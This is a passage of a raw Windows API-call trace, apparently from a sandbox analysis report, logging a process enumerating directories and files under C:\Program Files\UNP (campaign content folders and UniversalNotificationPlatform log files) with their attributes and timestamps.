ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.553] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0240.763] GetProcessHeap () returned 0xc10000 [0240.763] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.763] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0240.763] GetProcessHeap () returned 0xc10000 [0240.763] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0240.766] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.767] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.767] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.767] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.767] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.767] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.767] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0240.768] GetProcessHeap () returned 0xc10000 [0240.768] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.768] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0240.769] GetProcessHeap () returned 0xc10000 [0240.769] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0240.771] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.772] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.772] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.772] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.772] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.772] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.772] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0240.773] GetProcessHeap () returned 0xc10000 [0240.773] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.773] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0240.774] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0240.774] GetProcessHeap () returned 0xc10000 [0240.774] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0240.774] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0240.774] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0 [0240.774] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0240.775] GetProcessHeap () returned 0xc10000 [0240.775] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0240.777] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0240.777] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0240.778] GetProcessHeap () returned 0xc10000 [0240.778] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0240.778] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0240.778] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0240.778] GetProcessHeap () returned 0xc10000 [0240.778] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0240.778] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xac771e9f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xac771e9f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0240.778] GetProcessHeap () returned 0xc10000 [0240.778] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0240.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xac771e9f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xac771e9f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0240.781] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xac771e9f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xac771e9f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.781] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xac771e9f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xac771e9f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1 [0240.781] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcf0ae126, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xd12f3ee4, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNB5F0~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.010.etl", cAlternateFileName="UN7AC6~1.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.011.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1 [0240.782] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.022.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1 [0240.783] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, 